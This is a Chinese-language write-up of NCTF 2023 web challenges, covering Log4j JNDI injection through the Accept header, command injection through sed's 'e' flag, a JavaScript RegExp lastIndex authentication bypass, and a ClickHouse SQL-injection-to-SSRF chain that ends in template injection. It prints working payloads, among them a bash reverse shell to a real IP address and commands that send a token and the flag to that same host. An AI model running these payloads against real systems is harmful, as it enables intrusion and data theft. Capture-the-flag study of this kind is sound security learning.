NCTF2023学习
logging 考点:
进入界面啥也没有
根据题目提示可能考的是log4j,既然知道了那么JNDI的注入点应该在哪里呢
那只有试试请求头参数了
当试到Accept
请求头时候,出现了406响应码
Accept 头, 如果 mine type 类型不对控制台会调用 logger 输出日志,还有 Host 头, 但是只能用一次, 第二次往后就不能再打印日志了
HTTP 406状态码是指”不可接受”(Not Acceptable)。服务器收到的请求中包含了一个或多个要求资源的表示形式,但服务器无法生成与请求中所述的任何形式相匹配的响应。这意味着服务器无法提供与请求的Accept标头中指定的格式相匹配的响应。
这里存在JNDI注入点
进一步测试
发现确实存在 并且是出网的
那么我们起一个LDAP服务 带一个反弹shell的恶意类即可
推荐项目:https://github.com/WhiteHSBG/JNDIExploit
Webshell Generator 点击下载我们的webshel之后,抓包
发现路由重定向 一眼丁真这里可能存在路径穿越
可以
根目录flag文件不是/flag
并且环境变量中的flag也被删了
还是老老实实来分析 首先看看index.php和 download.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 /download.php?file=/tmp/../../../var/www/html/index.php&filename= <?php function security_validate() { foreach ($_POST as $key => $value) { if (preg_match('/\r|\n/', $value)) { die("$key 不能包含换行符!"); } if (strlen($value) > 114) { die("$key 不能超过114个字符!"); } } } security_validate(); if (@$_POST['method'] && @$_POST['key'] && @$_POST['filename']) { if ($_POST['language'] !== 'PHP') { die("PHP是最好的语言"); } $method = $_POST['method']; $key = $_POST['key']; putenv("METHOD=$method") or die("你的method太复杂了!"); putenv("KEY=$key") or die("你的key太复杂了!"); $status_code = -1; $filename = shell_exec("sh generate.sh"); if (!$filename) { die("生成失败了!"); } $filename = trim($filename); header("Location: download.php?file=$filename&filename={$_POST['filename']}"); exit(); } ?> <?php if(isset($_GET['file']) && isset($_GET['filename'])){ $file = $_GET['file']; $filename = $_GET['filename']; header("Content-type: application/octet-stream"); header("Content-Disposition: attachment; filename=$filename"); readfile($file); exit(); }
index.php通过$filename = shell_exec("sh generate.sh");
来帮我们生成文件名
读来看看generate.sh
1 2 3 4 5 6 7 8 9 10 11 12 #!/bin/sh set -e NEW_FILENAME=$(tr -dc a-z0-9 </dev/urandom | head -c 16 ) cp template.php "/tmp/$NEW_FILENAME" cd /tmp sed -i "s/KEY/$KEY/g" "$NEW_FILENAME" sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME" realpath "$NEW_FILENAME"
可以看到我们输入的方法和webshell密码都会被导出到环境变量中 然后sh脚本文件会从环境变量中读入我们的方法和webshell密码然后拼接到sed命令中
那么这里可能存在shell命令注入 但是不行 只能展开为单个参数
查看sed命令选项 发现-e
可以执行系统命令
根据man手册[https://www.gnu.org/software/sed/manual/sed.html#sed-script-overview:~:text=can%20be%20separated%20by%20semicolons%20(%3B)] (https://www.gnu.org/software/sed/manual/sed.html#sed-script-overview:~:text=can be separated by semicolons (%3B))
sed指令可以通过换行符分隔,也可以通过;
分隔。
我们的payload:
1 2 3 123 /g;e bash -c "bash -i >& /dev/tcp/124.221.177.174/7777 0>&1" ;会被拼接为: sed -i "s/METHOD/123/g;e bash -c " bash -i >& /dev/tcp/124.221 .177 .174 /7777 0 >&1 ";/g" "$NEW_FILENAME"
成功
Wait What 给了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 const express = require('express' );const child_process = require('child_process' )const app = express()app.use(express.json()) const port = 80 function escapeRegExp (string) { return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&' ); } let users = { "admin" : "admin" , "user" : "user" , "guest" : "guest" , 'hacker' :'hacker' } let banned_users = ['hacker' ]banned_users.push("admin" ) let banned_users_regex = null ;function build_banned_users_regex () { let regex_string = "" for (let username of banned_users) { regex_string += "^" + escapeRegExp(username) + "$" + "|" } regex_string = regex_string.substring(0 , regex_string.length - 1 ) banned_users_regex = new RegExp (regex_string, "g" ) } function requireLogin (req, res, next) { let username = req.body.username let password = req.body.password if (!username || !password) { res.send("用户名或密码不能为空" ) return } if (typeof username !== "string" || typeof password !== "string" ) { res.send("用户名或密码不合法" ) return } let test1 = banned_users_regex.test(username) console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`) if (test1) { console.log("第一个判断匹配到封禁用户:" ,username) res.send("用户'" +username + "'被封禁,无法鉴权!" ) return } let test2 = (username in banned_users) console.log(`使用in关键字匹配${username}的结果为:${test2}`) if (test2){ console.log("第二个判断匹配到封禁用户:" ,username) res.send("用户'" +username + "'被封禁,无法鉴权!" ) return } if (username in users && users[username] === password) { next() return } res.send("用户名或密码错误,鉴权失败!" ) } function registerUser (username, password) { if (typeof username !== "string" || username.length > 20 ) { return "用户名不合法" } if (typeof password !== "string" || password.length > 20 ) { return "密码不合法" } if (username in users) { return "用户已存在" } for (let existing_user in users){ let existing_user_password = users[existing_user] if (existing_user_password === password){ return `您的密码已经被用户'${existing_user}' 使用了,请使用其它的密码` } } users[username] = password return "注册成功" } app.use(express.static ('public' )) app.use(function (req, res, next) { try { build_banned_users_regex() console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):" ,banned_users_regex) } catch (e) { } next() }) app.post("/api/register" , (req, res) => { let username = req.body.username let password = req.body.password let message = registerUser(username, password) res.send(message) }) app.post("/api/login" , requireLogin, (req, res) => { res.send("登录成功!" ) }) app.post("/api/flag" , requireLogin, (req, res) => { let username = req.body.username if (username !== "admin" ) { res.send("登录成功,但是只有'admin'用户可以看到flag,你的用户名是'" + username + "'" ) return } let flag = child_process.execSync("cat flag" ).toString() res.end(flag) console.error("有人获取到了flag!为了保证题目的正常运行,将会重置靶机环境!" ) res.on("finish" , () => { setTimeout(() => { process.exit(0 ) }, 1 ) }) return }) app.post('/api/ban_user' , requireLogin, (req, res) => { let username = req.body.username let ban_username = req.body.ban_username if (!ban_username) { res.send("ban_username不能为空" ) return } if (username === ban_username){ res.send("不能封禁自己" ) return } for (let name of banned_users){ if (name === ban_username) { res.send("用户已经被封禁" ) return } } banned_users.push(ban_username) res.send("封禁成功!" ) }) app.get("/" , (req, res) => { res.redirect("/static/index.html" ) }) app.listen(port, () => { console.log(`listening on port ${port}`) })
最主要的逻辑代码是鉴权中间件这块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 function requireLogin (req, res, next) { let username = req.body.username let password = req.body.password if (!username || !password) { res.send("用户名或密码不能为空" ) return } if (typeof username !== "string" || typeof password !== "string" ) { res.send("用户名或密码不合法" ) return } let test1 = banned_users_regex.test(username) console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`) if (test1) { console.log("第一个判断匹配到封禁用户:" ,username) res.send("用户'" +username + "'被封禁,无法鉴权!" ) return } let test2 = (username in banned_users) console.log(`使用in关键字匹配${username}的结果为:${test2}`) if (test2){ console.log("第二个判断匹配到封禁用户:" ,username) res.send("用户'" +username + "'被封禁,无法鉴权!" ) return } if (username in users && users[username] === password) { next() return } res.send("用户名或密码错误,鉴权失败!" ) }
我们想拿到flag 就需要鉴权以admin身份登录 但是每次鉴权之前banned_users.push("admin")
都会执行这条语句把admin给ban了 无法以admin身份登录
test1是关于正则的鉴权,来看看正则
1 2 3 4 5 6 7 8 9 10 11 12 13 function escapeRegExp (string) { return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&' ); } /.../ let banned_users_regex = null ;function build_banned_users_regex () { let regex_string = "" for (let username of banned_users) { regex_string += "^" + escapeRegExp(username) + "$" + "|" } regex_string = regex_string.substring(0 , regex_string.length - 1 ) banned_users_regex = new RegExp (regex_string, "g" ) }
遍历封禁用户的数组,以^admin$|^hacker$|
的形式,用g全局匹配返回一个正则表达式
这里有一个trick就是RegExp.lastIndex的使用,当它开启g属性的时候,lastIndex会起作用,它用于表示从哪一个位置开始进行匹配
有两种情况:
当regexp.test匹配成功,lastIndex会被设置为最近匹配成功的下一个位置
当regexp.test匹配失败,lastIndex被设置为0
那么第一段鉴权:
每次请求都会通过build_banned_users_regex()
生成一个新的正则表达式使得每次匹配都从lastIndex=0
开始,如果能够在第一次匹配到admin使得lastIndex索引变成5之后,第二次没有生成新的就匹配,那么就成功绕过了第一层的鉴权,而这里是使用try-catch进行处理的,即使抛出异常,程序也不会中断。所以可以使用其它类型的ban_username,就会抛出TypeError异常,从而不生成新的lastIndex,绕过第一层。
再来看test2 其实这里in
关键字只存在于python
而在js中的用法:用于检查对象是否具有指定属性或者原型链中是否存在指定的属性
由于 banned_users 为 Array 类型,不存在 admin 属性,因此 test2 实际上判断的是banned_users中是否存在数组索引为username的值(由于对象的属性名称会被隐式转换为字符串,”0”和0都可以作为数组索引)
现在的问题是每次在请求时都会创建一个新的 banned_users_regex
,恢复其 lastIndex
位置为初始值0
如果我们能在新的regex对象赋值之前,抛出异常来绕过 regex 的更新,那么就可以了
传入 escapeRegExp(string)
函数中的 string 参数为非字符串类型
则string不存在 replace 属性,会抛出TypeError,以此来绕过 regex 的更新
首先我们注册一个账号然后使用封禁路由
push一个对象类型,此时就会报错抛异常,bypass lastIndex的重制
然后用admin登录 第一次会被正则到使得lastIndex为5
第二次admin登录则不会被正则 此时从第五个字符开始正则
调试可以观察到:
这次的banned_users_regex.lastIndex
并没有被重制
第二次登录就会拿到flag
ez_wordpress 环境不太对劲 wpscan扫出来的洞和其他师傅wp不一样 太诡异了 可能是我自己环境搭的有问题。。。
是phar+文件上传+ssrf的组合拳
可看X1r0z师傅的官方wphttps://hackforfun.feishu.cn/wiki/VkHiwiuHziepynkZuGlcp0fEnTd
EvilMQ 先等等
house of click 搭环境这里遇到了问题,有时候docker-compose up -d
会报错,拉不到镜像,这里建议换源清华的镜像可以解决这个问题
这个题就是纯是学习了 压根没见过
给了源码:
可以看到是有四个路由的但是进入题目环境之后只有nginx的页面 也访问不到路由
大致看源码思路就是通过sql注入拿到token,然后再拿着token去文件上传,然后文件上传也有路径穿越因为直接通过os.path.join拼接文件名,穿越到模板文件目录直接访问index进行ssti。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import clickhouse_connectimport ipaddressimport webimport oswith open ('.token' , 'r' ) as f: TOKEN = f.read() urls = ( '/' , 'Index' , '/query' , 'Query' , '/api/ping' , 'Ping' , '/api/token' , 'Token' , '/api/upload' , 'Upload' , ) render = web.template.render('templates/' ) def check_ip (ip, ip_range) : return ipaddress.ip_address(ip) in ipaddress.ip_network(ip_range) class Index : def GET (self) : return render.index() def POST (self) : data = web.input(name='index' ) return render.__getattr__(data.name)() class Query : def POST (self) : data = web.input(id='1' ) client = clickhouse_connect.get_client(host='db' , port=8123 , username='default' , password='default' ) sql = 'SELECT * FROM web.users WHERE id = ' + data.id client.command(sql) client.close() return 'ok' class Ping : def GET (self) : return 'pong' class Token : def GET (self) : ip = web.ctx.env.get('REMOTE_ADDR' ) if not check_ip (ip, '172.28.0.0/16' ) : return 'forbidden' return TOKEN class Upload : def POST (self) : ip = web.ctx.env.get('REMOTE_ADDR' ) token = web.ctx.env.get('HTTP_X_ACCESS_TOKEN' ) if not check_ip (ip, '172.28.0.0/16' ) : return 'forbidden' if token != TOKEN: return 'unauthorized' files = web.input(myfile={}) if 'myfile' in files: filepath = os.path.join('upload/' , files.myfile.filename) if (os.path.isfile(filepath)): return 'error' with open (filepath, 'wb' ) as f: f.write(files.myfile.file.read()) return 'ok' app = web.application(urls, globals()) application = app.wsgifunc(web.httpserver.StaticMiddleware)
根据X1r0z师傅的WP
思路:
nginx + gunicorn 路径绕过
ClickHouse SQL 盲注打 SSRF
web.py 上传时的目录穿越 + Templetor SSTI 实现 RCE
首先是nginx + gunicorn 路径绕过
参考:
https://mp.weixin.qq.com/s/yDIMgXltVLNfslVGg9lt4g
https://github.com/CHYbeta/OddProxyDemo/blob/master/nginx/demo1/README.md
首先需要知道什么是gunicorn 直接拷打gpt
payload:POST /query HTTP/1.1/../../api/ping HTTP/1.1
发现query路由下存在sql注入,不过这里不是mysql了,而是clickhouse数据库
接下来是ssrf
查阅官方文档发现有个url函数https://clickhouse.com/docs/zh/sql-reference/table-functions/url
发送post请求上传文件需要insert,这里没法进行堆叠注入
clickhouse自己有个HTTP Interface 通过它可以实现GET请求insert语句
先ssrf自身的HTTP interface然后再去ssrf到backendhttps://clickhouse.com/docs/zh/interfaces/http
1 id= 1 AND (SELECT * FROM url('http://default:default@db:8123/?query=<SQL>' , 'TabSeparatedRaw' , 'x String' ))
TabSeparatedRaw
表示返回的数据采用制表符分隔的原始数据格式
x String
表示外部查询返回的数据类型为字符串
接下里的思路就是先select拿到token然后套一个url函数将token编码后外带
接着insert发送post请求上传文件到backend
index留了POST方法用于渲染其他模板 就可以通过路径穿越将文件上传至templates目录然后 render这个模板 实现SSTI
拿token 1 id=1 AND (SELECT * FROM url ('http://124.221.177.174:6666/?a=' ||hex((select * FROM url('http://backend:8001/api/token' , 'TabSeparatedRaw' , 'x String' ) )), 'TabSeparatedRaw' , 'x String' ));
拿到token:38ad6332afaa1e3fc75f6a6b60cdd909
insert上传文件 payload:
1 id=1 and (select * from url ('http://172.16.106.1:8123/?query=insert into function url(' http://backend:8001 /api/upload',' TabSeparatedRaw', ' a String',headers(' Content-Type'=' multipart/form-data; boundary=----test',' X-Access-Token'=' 38ad6332afaa1e3fc75f6a6b60cdd909')) Values(' ------test\r\nContent-Disposition: form-data; name="myfile" ; filename="../templates/exp.html" \r\nContent-Type: text/plain\r\n\r\n$code:\r\n __import__(\'os\').system(\'curl http://124.221.177.174:7777/?flag=`/readflag | base64`\')\r\n------test--' ) ;',CSV,' a String'))
内容是最简洁的上传一个文件的请求头和请求体
可见我们的文件已经被上传了
这里需要注意的是后端接受表单的名称为myfile而不是file,还有就是根据给的附件nginx.conf上传upload时候nginx反向代理location内网端口为8001
接着到index render test.html实现RCE
拿到flag
总结 做X1r0z师傅出的题总能学到不少知识,而且赛后还给复现环境的dockerfile,很难不爱!!
看官方文档的能力真的很重要,基本功同样重要!!!
java继续探索!
参考: https://exp10it.io/2023/12/nctf-2023-web-official-writeup/#logging
[https://boogipop.com/2023/12/28/NCTF%202023%20Web%20Writeup(Post-Match)/#house-of-click] (https://boogipop.com/2023/12/28/NCTF 2023 Web Writeup(Post-Match)/#house-of-click)
https://xz.aliyun.com/t/13536?time__1311=mqmxnQiQi%3DFqlxGgpDyeXvB%2BDIOxGwD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F13536#toc-4